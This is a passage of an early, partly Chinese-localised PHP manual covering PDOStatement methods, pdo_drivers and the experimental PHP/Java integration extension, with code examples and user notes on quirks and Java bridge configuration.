There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::errorCode | 上一级 | PDOStatement::execute


PDOStatement::execute

(no version information, might be only in CVS)

PDOStatement::execute -- Executes a prepared statement

说明

bool PDOStatement::execute ( [array input_parameters] )

Execute the prepared statement. If the prepared statement included parameter markers, you must either:

  • call PDOStatement::bindParam() to bind PHP variables to the parameter markers: bound variables pass their value as input and receive the output value, if any, of their associated parameter markers

  • or pass an array of input-only parameter values

范例

例子 1. Execute a prepared statement with bound variables

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO_PARAM_INT);
$sth->bindParam(':colour', $colour, PDO_PARAM_STR, 12);
$sth->execute();
?>

例子 2. Execute a prepared statement with an array of insert values

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

例子 3. Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO_PARAM_INT);
$sth->bindParam(2, $colour, PDO_PARAM_STR, 12);
$sth->execute();
?>

参见

PDO::prepare()
PDOStatement::bindParam()
PDOStatement::fetch()
PDOStatement::fetchAll()
PDOStatement::fetchColumn()

add a note add a note User Contributed Notes
Nei
07-Feb-2006 03:40
This does not return TRUE or FALSE. It seems to just not return anything.
add a note add a note

后退 | 起点 | 前进
PDOStatement::errorInfo | 上一级 | PDOStatement::fetch


PDOStatement::fetch

(no version information, might be only in CVS)

PDOStatement::fetch -- Fetches the next row from a result set

说明

mixed PDOStatement::fetch ( [int fetch_style [, int cursor_orientation [, int cursor_offset]]] )

Fetches a row from a result set associated with a PDOStatement object.

参数

fetch_style

Controls how the next row will be returned to the caller. This value must be one of the PDO_FETCH_* constants, defaulting to PDO_FETCH_BOTH.

  • PDO_FETCH_ASSOC: returns an array indexed by column name as returned in your result set

  • PDO_FETCH_BOTH (default): returns an array indexed by both column name and column number as returned in your result set

  • PDO_FETCH_BOUND: returns TRUE and assigns the values of the columns in your result set to the PHP variables to which they were bound with the PDOStatement::bindParam() method

  • PDO_FETCH_LAZY: combines PDO_FETCH_BOTH and PDO_FETCH_OBJ, creating the object variable names as they are accessed

  • PDO_FETCH_OBJ: returns an anonymous object with property names that correspond to the column names returned in your result set

  • PDO_FETCH_NUM: returns an array indexed by column number as returned in your result set, starting at column 0

cursor_orientation

For a PDOStatement object representing a scrollable cursor, this value determines which row will be returned to the caller. This value must be one of the PDO_FETCH_ORI_* constants, defaulting to PDO_FETCH_ORI_NEXT.

offset

For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO_FETCH_ORI_ABS, this value specifies the absolute number of the row in the result set that shall be fetched.

For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO_FETCH_ORI_REL, this value specifies the row to fetch relative to the cursor position before PDOStatement::fetch() was called.

范例

例子 1. Fetching rows using different fetch styles

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Exercise PDOStatement::fetch styles */
print("PDO_FETCH_ASSOC: ");
print("Return next row as an array indexed by column name\n");
$result = $sth->fetch(PDO_FETCH_ASSOC);
print_r($result);
print("\n");

print("PDO_FETCH_BOTH: ");
print("Return next row as an array indexed by both column name and number\n");
$result = $sth->fetch(PDO_FETCH_BOTH);
print_r($result);
print("\n");

print("PDO_FETCH_LAZY: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO_FETCH_LAZY);
print_r($result);
print("\n");

print("PDO_FETCH_OBJ: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO_FETCH_OBJ);
print $result->NAME;
print("\n");
?>

上例将输出：

PDO_FETCH_ASSOC: Return next row as an array indexed by column name
Array
(
    [NAME] => apple
    [COLOUR] => red
)

PDO_FETCH_BOTH: Return next row as an array indexed by both column name and number
Array
(
    [NAME] => banana
    [0] => banana
    [COLOUR] => yellow
    [1] => yellow
)

PDO_FETCH_LAZY: Return next row as an anonymous object with column names as properties
PDORow Object
(
    [NAME] => orange
    [COLOUR] => orange
)

PDO_FETCH_OBJ: Return next row as an anonymous object with column names as properties
kiwi

例子 2. Fetching rows with a scrollable cursor

<?php
function readDataForwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
  try {
    $stmt = $dbh->prepare($sql, array(PDO_ATTR_CURSOR, PDO_CURSOR_SCROLL));
    $stmt->execute();
    while ($row = $stmt->fetch(PDO_FETCH_NUM, PDO_FETCH_ORI_NEXT)) {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    }
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
function readDataBackwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
  try {
    $stmt = $dbh->prepare($sql, array(PDO_ATTR_CURSOR, PDO_CURSOR_SCROLL));
    $stmt->execute();
    $row = $stmt->fetch(PDO_FETCH_NUM, PDO_FETCH_ORI_LAST);
    do {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    } while ($row = $stmt->fetch(PDO_FETCH_NUM, PDO_FETCH_ORI_PRIOR));
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}

print "Reading forwards:\n";
readDataForwards($conn);

print "Reading backwards:\n";
readDataBackwards($conn);
?>

上例将输出：

Reading forwards:
21    10    5
16    0     5
19    20    10

Reading backwards:
19    20    10
16    0     5
21    10    5

参见

PDO::query()
PDOStatement::fetchAll()
PDOStatement::fetchColumn()
PDOStatement::prepare()
PDOStatement::setFetchMode()

add a note add a note User Contributed Notes
terry at bitsoup dot com
03-Mar-2006 04:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com
20-Jan-2006 06:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no
25-Nov-2005 04:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no
25-Nov-2005 03:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
       $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
       $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com
22-Oct-2005 01:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1
add a note add a note

后退 | 起点 | 前进
PDOStatement::execute | 上一级 | PDOStatement::fetchAll


PDOStatement::fetchAll

(no version information, might be only in CVS)

PDOStatement::fetchAll -- Returns an array containing all of the result set rows

说明

array PDOStatement::fetchAll ( [int fetch_style [, int column_index]] )

参数

fetch_style

Controls the contents of the returned array as documented in PDOStatement::fetch(). Defaults to PDO_FETCH_BOTH.

To return an array consisting of all values of a single column from the result set, specify PDO_FETCH_COLUMN.

To fetch only the unique values of a single column from the result set, bitwise-OR PDO_FETCH_COLUMN with PDO_FETCH_UNIQUE.

To return an associative array grouped by the values of a specified column, bitwise-OR PDO_FETCH_COLUMN with PDO_FETCH_GROUP.

column_index

Returns the indicated 0-indexed column when the value of fetch_style is PDO_FETCH_COLUMN. Defaults to 0.

返回值

PDOStatement::fetchAll() returns an array containing all of the remaining rows in the result set. The array represents each row as either an array of column values or an object with properties corresponding to each column name.

Using this method to fetch large result sets will result in a heavy demand on system and possibly network resources. Rather than retrieving all of the data and manipulating it in PHP, consider using the database server to manipulate the result sets. For example, use the WHERE and SORT BY clauses in SQL to restrict results before retrieving and processing them with PHP.

范例

例子 1. Fetch all remaining rows in a result set

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the remaining rows in the result set */
print("Fetch all of the remaining rows in the result set:\n");
$result = $sth->fetchAll();
print_r($result);
?>

上例将输出：

Fetch all of the remaining rows in the result set:
Array
(
    [0] => Array
        (
            [NAME] => pear
            [0] => pear
            [COLOUR] => green
            [1] => green
        )

    [1] => Array
        (
            [NAME] => watermelon
            [0] => watermelon
            [COLOUR] => pink
            [1] => pink
        )

)

例子 2. Fetching all values of a single column from a result set

The following example demonstrates how to return all of the values of a single column from a result set, even though the SQL statement itself may return multiple columns per row.

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the values of the first column */
$result = $sth->fetchAll(PDO_FETCH_COLUMN, 0);
var_dump($result);
?>

上例将输出：

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

例子 3. Grouping all values by a single column

The following example demonstrates how to return an associative array grouped by the values of the specified column in the result set. The array contains three keys: values apple and pear are returned as arrays that contain two different colours, while watermelon is returned as an array that contains only one colour.

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute('apple', 'green');
$insert->execute('pear', 'yellow');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO_FETCH_COLUMN|PDO_FETCH_GROUP));
?>

上例将输出：

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "green"
  }
}

参见

PDO::query()
PDOStatement::fetch()
PDOStatement::fetchColumn()
PDOStatement::prepare()
PDOStatement::setFetchMode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::fetch | 上一级 | PDOStatement::fetchColumn


PDOStatement::fetchColumn

(no version information, might be only in CVS)

PDOStatement::fetchColumn -- Returns a single column from the next row of a result set

说明

string PDOStatement::fetchColumn ( [int column_number] )

Returns a single column from the next row of a result set.

参数

column_number

Number of the column you wish to retrieve from the row. If no value is supplied, PDOStatement::fetchColumn() fetches the first column.

返回值

PDOStatement::fetchColumn() returns a single column in the next row of a result set.

警告

There is no way to return another column from the same row if you use PDOStatement::fetchColumn() to retrieve data.

范例

例子 1. Return first column of the next row

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch the first column from the next row in the result set */
print("Fetch the first column from the next row in the result set:\n");
$result = $sth->fetchColumn();
print("$result\n");

$result = $sth->fetchColumn();
print("$result\n");
?>

上例将输出：

Fetch the first column from the next row in the result set:
lemon
orange

参见

PDO::query()
PDOStatement::fetch()
PDOStatement::fetchAll()
PDOStatement::prepare()
PDOStatement::setFetchMode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::fetchAll | 上一级 | PDOStatement::getAttribute


PDOStatement::getAttribute

(no version information, might be only in CVS)

PDOStatement::getAttribute -- Retrieve a statement attribute

说明

mixed PDOStatement::getAttribute ( int attribute )

警告

本函数暂无文档，仅有参数列表。

参见

PDO::getAttribute()
PDO::setAttribute()
PDOStatement::setAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::fetchColumn | 上一级 | PDOStatement::getColumnMeta


PDOStatement::getColumnMeta

(no version information, might be only in CVS)

PDOStatement::getColumnMeta -- Returns metadata for a column in a result set

说明

mixed PDOStatement::getColumnMeta ( int column )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Retrieves the metadata for a 0-indexed column in a result set as an associative array.

警告

Not all PDO drivers support PDOStatement::getColumnMeta().

参数

column

The 0-indexed column in the result set.

返回值

Returns an associative array containing the following values representing the metadata for a single column:

表格 1. Column metadata

Name | Value
native_type | The PHP native type used to represent the column value.
driver:decl_type | The SQL type used to represent the column value in the database. If the column in the result set is the result of a function, this value is not returned by PDOStatement::getColumnMeta().
flags | Any flags set for this column.
name | The name of this column as returned by the database.
len | The length of this column. Normally -1 for types other than floating point decimals.
precision | The numeric precision of this column. Normally 0 for types other than floating point decimals.
pdo_type | The type of this column as represented by the PDO_PARAM_* constants.

Returns FALSE if the requested column does not exist in the result set, or if no result set exists.

范例

例子 1. Retrieving column metadata

The following example shows the results of retrieving the metadata for a single column generated by a function (COUNT) in a PDO_SQLITE driver.

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

上例将输出：

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

参见

PDOStatement::columnCount()
PDOStatement::rowCount()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::getAttribute | 上一级 | PDOStatement::nextRowset


PDOStatement::nextRowset

(no version information, might be only in CVS)

PDOStatement::nextRowset -- Advances to the next rowset in a multi-rowset statement handle

说明

bool PDOStatement::nextRowset ( void )

Some database servers support stored procedures that return more than one rowset (also known as a result set). PDOStatement::nextRowSet() enables you to access the second and subsequent rowsets associated with a PDOStatement object. Each rowset can have a different set of columns from the preceding rowset.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Fetching multiple rowsets returned from a stored procedure

The following example shows how to call a stored procedure, MULTIPLE_RESULTS, that returns three rowsets. We use a do / while loop to loop over the PDOStatement::nextRowset() method, which returns false and terminates the loop when no more rowsets can be returned.

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
    $rowset = $stmt->fetchAll(PDO_FETCH_NUM);
    if ($rowset) {
        printResultSet($rowset, $i);
    }
    $i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
    print "Result set $i:\n";
    foreach ($rowset as $row) {
        foreach ($row as $col) {
            print $col . "\t";
        }
        print "\n";
    }
    print "\n";
}
?>

上例将输出：

Result set 1:
apple    red
banana   yellow

Result set 2:
orange   orange    150
banana   yellow    175

Result set 3:
lime     green
apple    red
banana   yellow

参见

PDOStatement::columnCount()
PDOStatement::execute()
PDOStatement::getColumnMeta()
PDOStatement::query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::getColumnMeta | 上一级 | PDOStatement::rowCount


PDOStatement::rowCount

(no version information, might be only in CVS)

PDOStatement::rowCount -- Returns the number of rows affected by the last SQL statement

说明

int PDOStatement::rowCount ( void )

PDOStatement::rowCount() returns the number of rows affected by the last DELETE, INSERT, or UPDATE statement executed by the corresponding PDOStatement object.

If the last SQL statement executed by the associated PDOStatement was a SELECT statement, some databases may return the number of rows returned by that statement. However, this behaviour is not guaranteed for all databases and should not be relied on for portable applications.

范例

例子 1. Return the number of deleted rows

PDOStatement::rowCount() returns the number of rows affected by a DELETE, INSERT, or UPDATE statement.

<?php
/* Delete all rows from the FRUIT table */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* Return number of rows that were deleted */
print("Return number of rows that were deleted:\n");
$count = $del->rowCount();
print("Deleted $count rows.\n");
?>

上例将输出：

Deleted 9 rows.

例子 2. Counting rows returned by a SELECT statement

For most databases, PDOStatement::rowCount() does not return the number of rows affected by a SELECT statement. Instead, use PDO::query() to issue a SELECT COUNT(*) statement with the same predicates as your intended SELECT statement, then use PDOStatement::fetchColumn() to retrieve the number of rows that will be returned. Your application can then perform the correct action.

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
if ($res = $conn->query($sql)) {

    /* Check the number of rows that match the SELECT statement */
    if ($res->fetchColumn() > 0) {

        /* Issue the real SELECT statement and work with the results */
         $sql = "SELECT name FROM fruit WHERE calories > 100";
         foreach ($conn->query($sql) as $row) {
             print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
    else {
        print "No rows matched the query.";
    }
}

$res = null;
$conn = null;
?>

上例将输出：

apple
banana
orange
pear

参见

PDOStatement::columnCount()
PDOStatement::fetchColumn()
PDOStatement::query()

add a note add a note User Contributed Notes
pcdinh at phpvietnam dot net
21-Mar-2006 06:39
In some case you need to know how many row are retrieved from a select query (i.e to page a result set) you can use:

$totalRows = count($resultSet->fetchAll());

It works on MySQL 5.0.18 and PHP 5.1
Pablo Godel
31-Jan-2006 04:18
For large resultsets the method described below is not very efficient. It is better to do a select COUNT(*).
markjcrane at gmail dot com
30-Nov-2005 08:12
A rowcount that would return the record count with a select statement would be extremely usefull in PDO. However since it doesn't exist here is an another method to return the record count.

$sql = "SELECT * FROM tblusers ";
$prepstatement = $db->prepare($sql);
$prepstatement->execute();

//save the results to array
$result = $prepstatement->fetchAll();

//count the array
$resultcount = count($result);
echo "resultcount : ".$resultcount ."<br>";

foreach($result as $field) {
   echo "username: ".$field[username]."<br>";
   echo "<br>";
}
unset($sql, $result, $resultcount);
add a note add a note

后退 | 起点 | 前进
PDOStatement::nextRowset | 上一级 | PDOStatement::setAttribute


PDOStatement::setAttribute

(no version information, might be only in CVS)

PDOStatement::setAttribute -- Set a statement attribute

说明

bool PDOStatement::setAttribute ( int attribute, mixed value )

警告

本函数暂无文档，仅有参数列表。

参见

PDO::getAttribute()
PDO::setAttribute()
PDOStatement::getAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::rowCount | 上一级 | PDOStatement::setFetchMode


PDOStatement::setFetchMode

(no version information, might be only in CVS)

PDOStatement::setFetchMode -- Set the default fetch mode for this statement

说明

bool PDOStatement::setFetchMode ( int mode )

参数

mode

The fetch mode must be one of the PDO_FETCH_* constants.

返回值

Returns 1 on success or FALSE on failure.

范例

例子 1. Setting the fetch mode

The following example demonstrates how PDOStatement::setFetchMode() changes the default fetch mode for a PDOStatement object.

<?php
$sql = 'SELECT name, colour, calories FROM fruit';
try {
  $stmt = $dbh->query($sql);
  $result = $stmt->setFetchMode(PDO_FETCH_NUM);
  while ($row = $stmt->fetch()) {
    print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
  }
}
catch (PDOException $e) {
  print $e->getMessage();
}
?>

上例将输出：

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150
watermelon      pink    90

add a note add a note User Contributed Notes
matt at kynx dot org
18-Feb-2006 07:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
   protected $cols;

   function __set($name, $value) {
       $this->cols[$name] = $value;
   }

   function __get($name) {
       return $this->cols[$name];
   }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
   print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar
13-Feb-2006 02:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.
add a note add a note

后退 | 起点 | 前进
PDOStatement::setAttribute | 上一级 | pdo_drivers


pdo_drivers

(PHP 5 >= 5.1.0RC1)

pdo_drivers -- Return an array of available PDO drivers

说明

array pdo_drivers ( void )

This function returns all currently available PDO drivers which can be used in DSN parameter of PDO::__construct().

返回值

pdo_drivers() returns an array of PDO driver names. If no drivers are available, it returns an empty array.

范例

例子 1. A pdo_drivers() example

<?php
print_r(pdo_drivers());
?>

上例的输出类似于：

Array
(
    [0] => mysql
    [1] => sqlite
)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::setFetchMode | 上一级 | PHP / Java Integration


PHP / Java Integration

PHP 手册
后退 前进

CVII. PHP / Java Integration

简介

There are two possible ways to bridge PHP and Java: you can either integrate PHP into a Java Servlet environment, which is the more stable and efficient solution, or integrate Java support into PHP. The former is provided by a SAPI module that interfaces with the Servlet server, the latter by this Java extension.

The Java extension provides a simple and effective means for creating and invoking methods on Java objects from PHP. The JVM is created using JNI, and everything runs in-process.

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

需求

You need a Java VM installed on your machine to use this extension.

安装

本 PECL 扩展未绑定于 PHP 中。

在 PHP 4 中本 PECL 扩展的源程序位于 PHP 源程序中的 ext/ 目录下或者在上面的 PECL 连接中。 In order to use these functions you must compile PHP with Java support by using the --with-java[=DIR] where DIR points to the base install directory of your JDK. This extension can only be built as a shared extension. Additional build extensions can be found in php-src/ext/java/README.

Windows users will enable php_java.dll inside of php.ini in order to use these functions. 在 PHP 4 中本 DLL 位于 PHP Windows 执行包中的 extensions/ 目录下。 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

注: In order to enable this module on a Windows environment with PHP <= 4.0.6, you must make jvm.dll available to your systems PATH. No additional DLL is needed for PHP versions > 4.0.6.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Java configuration options

Name | Default | Changeable | Changelog
java.class.path | NULL | PHP_INI_ALL |
java.home | NULL | PHP_INI_ALL |
java.library.path | NULL | PHP_INI_ALL |
java.library | JAVALIB | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. Java Example

<?php
// get instance of Java class java.lang.System in PHP
$system = new Java('java.lang.System');

// demonstrate property access
echo 'Java version=' . $system->getProperty('java.version') . '<br />';
echo 'Java vendor=' . $system->getProperty('java.vendor') . '<br />';
echo 'OS=' . $system->getProperty('os.name') . ' ' .
             $system->getProperty('os.version') . ' on ' .
             $system->getProperty('os.arch') . ' <br />';

// java.util.Date example
$formatter = new Java('java.text.SimpleDateFormat',
                      "EEEE, MMMM dd, yyyy 'at' h:mm:ss a zzzz");

echo $formatter->format(new Java('java.util.Date'));
?>

例子 2. AWT Example

<?php
// This example is only intended to be run as a CGI.

$frame  = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>
Notes:

  • new Java() will create an instance of a class if a suitable constructor is available. If no parameters are passed and the default constructor is useful as it provides access to classes like java.lang.System which expose most of their functionallity through static methods.

  • Accessing a member of an instance will first look for bean properties then public fields. In other words, print $date.time will first attempt to be resolved as $date.getTime(), then as $date.time.

  • Both static and instance members can be accessed on an object with the same syntax. Furthermore, if the java object is of type java.lang.Class, then static members of the class (fields and methods) can be accessed.

  • Exceptions raised result in PHP warnings, and NULL results. The warnings may be eliminated by prefixing the method call with an "@" sign. The following APIs may be used to retrieve and reset the last error:

    • java_last_exception_get()

    • java_last_exception_clear()

  • Overload resolution is in general a hard problem given the differences in types between the two languages. The PHP Java extension employs a simple, but fairly effective, metric for determining which overload is the best match.

    Additionally, method names in PHP are not case sensitive, potentially increasing the number of overloads to select from.

    Once a method is selected, the parameters are coerced if necessary, possibly with a loss of data (example: double precision floating point numbers will be converted to boolean).

  • In the tradition of PHP, arrays and hashtables may pretty much be used interchangably. Note that hashtables in PHP may only be indexed by integers or strings; and that arrays of primitive types in Java can not be sparse. Also note that these constructs are passed by value, so may be expensive in terms of memory and time.

Java Servlet SAPI

The Java Servlet SAPI builds upon the mechanism defined by the Java extension to enable the entire PHP processor to be run as a servlet. The primary advantage of this from a PHP perspective is that web servers which support servlets typically take great care in pooling and reusing JVMs. Build instructions for the Servlet SAPI module can be found in php4/sapi/README. Notes:

  • While this code is intended to be able to run on any servlet engine, it has only been tested on Apache's Jakarta/tomcat to date. Bug reports, success stories and/or patches required to get this code to run on other engines would be appreciated.

  • PHP has a habit of changing the working directory. sapi/servlet will eventually change it back, but while PHP is running the servlet engine may not be able to load any classes from the CLASSPATH which are specified using a relative directory syntax, or find the work directory used for administration and JSP compilation tasks.

目录
java_last_exception_clear -- Clear last Java exception
java_last_exception_get -- Get last Java exception

add a note add a note User Contributed Notes
frey_thom76 at yahoo dot de
21-Apr-2006 09:16
The previous note is very misleading:

Switching from the Apache- to the CGI SAPI doesn't solve the fundamental problem that PHP4's ext/php_java continously allocates a new VM until the machine runs out of resources ("Fatal error: Unable to Create Java Virtual Machine")

The mentioned JavaBridge works well with PHP 4 (I use it since one year now)

It is not necessary to switch to Apache 2 to run PHP 4 and PHP 5 side-by-side
tobozo at phpsecure dot info
19-Apr-2006 11:06
Workaround for Win32 / Apache / PHP4 users that do not wish to switch from SAPI to CGI :

Java Bridge is a great project, and it's too bad I *have* to upgrade to php5 to see it working. One more reason not to use php5.

I have a production server running a few intranet applications and other php utilities, on a w2k platform with Apache-1.3.33 and php-4.3.10.

I need to have java working along with php on this production server, and I do not wish to upgrade all php applications to php5, nor do I wish to switch to Apache2 to get php4 and php5 running together.

So my choice went to ext/php_java. Of course I've had the usual issues  ...

"Fatal error: Unable to Create Java Virtual Machine"

Basically the workaround for this thread issue is to " use CGI instead of SAPI "

But CGI is slower than SAPI, what about performances for all my applications ?

Well there is a (clumsy) solution :  use both CGI and SAPI, keeping SAPI for the regular php work, and creating a new mime type and extension in the httpd.conf for the php files invoking java.

I chose to use the '.jhp' extension (yeah, sounds horrible but still, it's nicer than '.phava'), here's a copy of my settings :

my php.ini :
--------------
[Java]
extension=php_java.dll
java.class.path = C:\php4-Win32\extensions\php_java.jar
java.home = c:\jdk-1.5
java.library = c:\jdk-1.5\jre\bin\server\jvm.dll

my httpd.conf :
------------------
ScriptAlias /jhp/ "C:/php4-Win32/"
AddType application/x-httpd-jhp .jhp
Action application/x-httpd-jhp /jhp/php.exe

The Server :
--------------
Windows 2000 (fr) SP4
Apache/1.3.33 (Win32)
Php 4.3.10 (SAPI + CGI)
Java version=1.5.0_06
12-Mar-2006 02:33
For those who want to run php with a recent tomcat version, you'll need the following patch:

http://wiki.apache.org/tomcat/UsingPhp
meaton53 at hotmail dot com
09-Mar-2006 03:46
I just wanted to post this for people that were having the same troubles that I was having.  I am running OES SuSe Linux 9-1.  I started this adventure because I needed to connect to a progress database via PHP.  And I couldn't use ODBC drivers because the progress ODBC drivers were simply to old for unixODBC and iODBC (progress 9.1c).  So I had to use JDBC with this wonderful PHP extension along with the PHP-Java Bridge found at:
http://sourceforge.net/projects/php-java-bridge
So Just for some notes, in the PHP.INI file I had to have:

extension=java.so
[java]
java.java_home=/usr/local/java
java.classpath=.:/usr/progress/dlc91c/java/progress.jar
:/usr/progress/dlc91c/java/jdbc.jar
java.libpath=.:/usr/progress/dlc91c/lib
:/usr/local/lib/php/extensions

And be careful because lots of sites tell you that the two varibles above are java.class.path, and java.library.path.

And also to be able to connect to a progress database from java in Linux you have to set your LD_ASSUME_KERNEL varible to 2.4.0 to do this simply add to you profile.local file:
export LD_ASSUME_KERNEL=2.4.0.
If you want to know why please email me and I will tell you.
rabisultan at gmail dot com
07-Feb-2006 11:40
If you get this error

Fatal error: Unable to create Java Virtual Machine in

it can be fixed by modifying your php.ini file, you will need to add in the path to the JRE's lib folder.

My php.ini file (php4/Apache2):
java.class.path= "e:\minerva\php\extensions\php_java.jar; c:\j2sdk1.4.2_08\jre\lib; C:\j2sdk1.4.2_08"
java.home = "c:\j2sdk1.4.2_08\bin; c:\j2sdk1.4.2_08\jre\lib"
java.library = "c:\j2sdk1.4.2_08\jre\bin\server\jvm.dll"
java.library.path= "e:\minerva\PHP\extensions; c:\j2sdk1.4.2_08\jre\lib"
m mokhtar at gmail dot com
31-Oct-2005 03:03
Getting PHP JavaBridge to work with PHP5 on windows server:
====================================
1- Install Java J2EE 1.5 + JDK 1.4 (which includes application server/deploy tool/etc...)
2- download pecl-5.0.5-Win32.zip and php-java-bridge_2.0.8.zip, which will include
extra dll(s)
   - unpack pecl pkg to your extensions folder, in PHP5 its ext.
   - unpack java-Bridge to root php folder, in my case its simply C:\PHP
   Note: the java-Bridge inculdes new versions of certain files like php_java.dll
   so, it would be wise to rename your old files that came with PECL pkg for example
   file_old, to rollback at anytime.

In order to deploy/test Java-Bridge .war onto your java application server follow these steps

http://cvs.sourceforge.net/viewcvs.py/php-java-bridge/php-java-bridge/
INSTALL.WINDOWS?view=markup

Note: move JavaBridge.jar to your extensions folder. and in test.php file that came
